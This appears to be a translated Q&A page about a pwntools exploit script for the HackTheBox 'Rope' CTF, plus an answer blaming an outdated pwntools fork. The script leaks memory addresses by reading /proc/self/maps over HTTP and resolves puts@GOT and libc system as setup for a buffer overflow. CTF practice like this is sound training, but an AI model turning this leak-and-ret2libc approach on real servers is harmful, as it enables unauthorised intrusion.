我看了这个视频https://youtu.be/GTQxZlr5yvE?t=2185 (Ippsec的绳索CTF),他定义了校验秒参数。攻击是httpserver(自定义服务器)中的缓冲区溢出。第一步非常好。第一次错误发生在第2步:elf = ELF("./httpserver“,checksec=False)和libc = ELF("./libc.so.6.32.self",checksec= False)。
from pwn import *
import requests
context(arch="i686",os="linux")
RHOST = '127.0.0.1'
RPORT = '9999'
def getFile(file):
header = {"Range" : "bytes=0-4096"}
r = requests.get(f"http://{RHOST}:{RPORT}/{file}",headers=header)
return r.text
#step 1. Find Address #THIS PART WORKS FINE
log.info("Finding Binary/Libc Location via /proc/self/maps")
maps = getFile("/proc/self/maps")
addr_bin = maps.split('\n')[0][:8] #addr of httpserver
addr_libc = maps.split('\n')[6][:8] #addr of libc.so.6
log.success(f"Binary is at : 0x{addr_bin}")
log.success(f"Binary is at : 0x{addr_libc}")
#step 2. Calculating offsets #THIS SECTION ERROR OCCURS
log.info("Finding the address of PUTS + SYSTEM()")
elf = ELF("./httpserver" , checksec=False) #<----ERROR HERE checksec
libc = ELF("./libc.so.6.32.self", checksec= False) #<----ERROR HERE checksec
elf.address = int(addr_bin, 16)
libc.address = int(addr_libc, 16)
got_puts = elf.got['puts'] #<----ERROR HERE puts
system = libc.symbols['system']
log.success(f"Puts@GOT: {got_puts}")
log.success(f"SYSTEM@LIBC: {system}")当我运行代码时,我会得到以下错误
Traceback (most recent call last):
File "/home/evildead/Desktop/ctf/htb/rope/files/exploit.py", line 27, in <module>
elf = ELF("./httpserver" , checksec= False)
TypeError: __init__() got an unexpected keyword argument 'checksec'我在google上搜索了这个错误,但是找不到任何关于它的东西。你能帮我一把吗?我试着安装“installing pyelftools”,但也出现了同样的错误。注释checksec=False部件时没有出现错误,但是当我运行代码时,它给了我第二个错误
Exception has occurred: KeyError
'puts'
File "/home/evildead/Desktop/ctf/htb/rope/files/exploit.py", line 30, in <module>
got_puts = elf.got['puts']有人能告诉我如何解决这些错误吗?我不能练习:
发布于 2020-08-15 21:29:57
我相信您抢占了Python3-PwnTools,这是pwntools不支持py3时的一种旧叉子。安装常规的"pwntools“,它应该可以工作。
https://stackoverflow.com/questions/61990373
复制相似问题